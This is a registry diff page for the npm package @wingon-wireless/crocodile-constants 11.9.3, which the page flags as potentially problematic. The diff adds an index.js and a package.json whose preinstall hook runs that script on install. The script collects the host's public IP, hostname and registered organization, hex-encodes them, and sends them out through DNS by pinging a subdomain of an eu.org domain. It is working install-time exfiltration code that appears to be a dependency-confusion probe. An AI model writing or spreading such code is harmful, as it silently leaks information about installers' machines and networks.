@wingon-wireless/crocodile-constants 11.9.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @wingon-wireless/crocodile-constants might be problematic. Click here for more details.
- package/index.js +51 -0
- package/package.json +13 -0
package/index.js
ADDED
@@ -0,0 +1,51 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
const os = require("os");
|
3
|
+
|
4
|
+
function getSystemOrganization(callback) {
|
5
|
+
exec("systeminfo", (err, stdout) => {
|
6
|
+
if (err) {
|
7
|
+
callback("unknown");
|
8
|
+
return;
|
9
|
+
}
|
10
|
+
|
11
|
+
const match = stdout.match(/Registered Organization:\s*(.+)/);
|
12
|
+
callback(match ? match[1].trim() : "unknown");
|
13
|
+
});
|
14
|
+
}
|
15
|
+
|
16
|
+
exec("curl -s ipinfo.io", (error, stdout) => {
|
17
|
+
if (error) {
|
18
|
+
console.error("Error fetching IP info:", error);
|
19
|
+
return;
|
20
|
+
}
|
21
|
+
|
22
|
+
try {
|
23
|
+
const data = JSON.parse(stdout);
|
24
|
+
const ip = data.ip || "unknown";
|
25
|
+
const hostname = os.hostname();
|
26
|
+
|
27
|
+
getSystemOrganization((org) => {
|
28
|
+
org = org.replace(/\s+/g, "_");
|
29
|
+
|
30
|
+
const combined = `${ip}_${hostname}_${org}`;
|
31
|
+
|
32
|
+
const hexEncoded = Buffer.from(combined).toString("hex");
|
33
|
+
const part1 = hexEncoded.slice(0, Math.ceil(hexEncoded.length / 2));
|
34
|
+
const part2 = hexEncoded.slice(Math.ceil(hexEncoded.length / 2));
|
35
|
+
const target = `${part1}.${part2}.9.3.c9d1172034.ipv6.1433.eu.org`;
|
36
|
+
|
37
|
+
console.log(`Pinging: ${target}`);
|
38
|
+
|
39
|
+
const pingCmd = os.platform() === "win32" ? `ping -n 4 ${target}` : `ping -c 4 ${target}`;
|
40
|
+
exec(pingCmd, (pingError, pingStdout) => {
|
41
|
+
if (pingError) {
|
42
|
+
console.error("Ping error:", pingError);
|
43
|
+
return;
|
44
|
+
}
|
45
|
+
console.log("Ping result:\n", pingStdout);
|
46
|
+
});
|
47
|
+
});
|
48
|
+
} catch (parseError) {
|
49
|
+
console.error("Error parsing IP info:", parseError);
|
50
|
+
}
|
51
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "@wingon-wireless/crocodile-constants",
|
3
|
+
"version": "11.9.3",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall":"node index.js",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"keywords": [],
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC"
|
13
|
+
}
|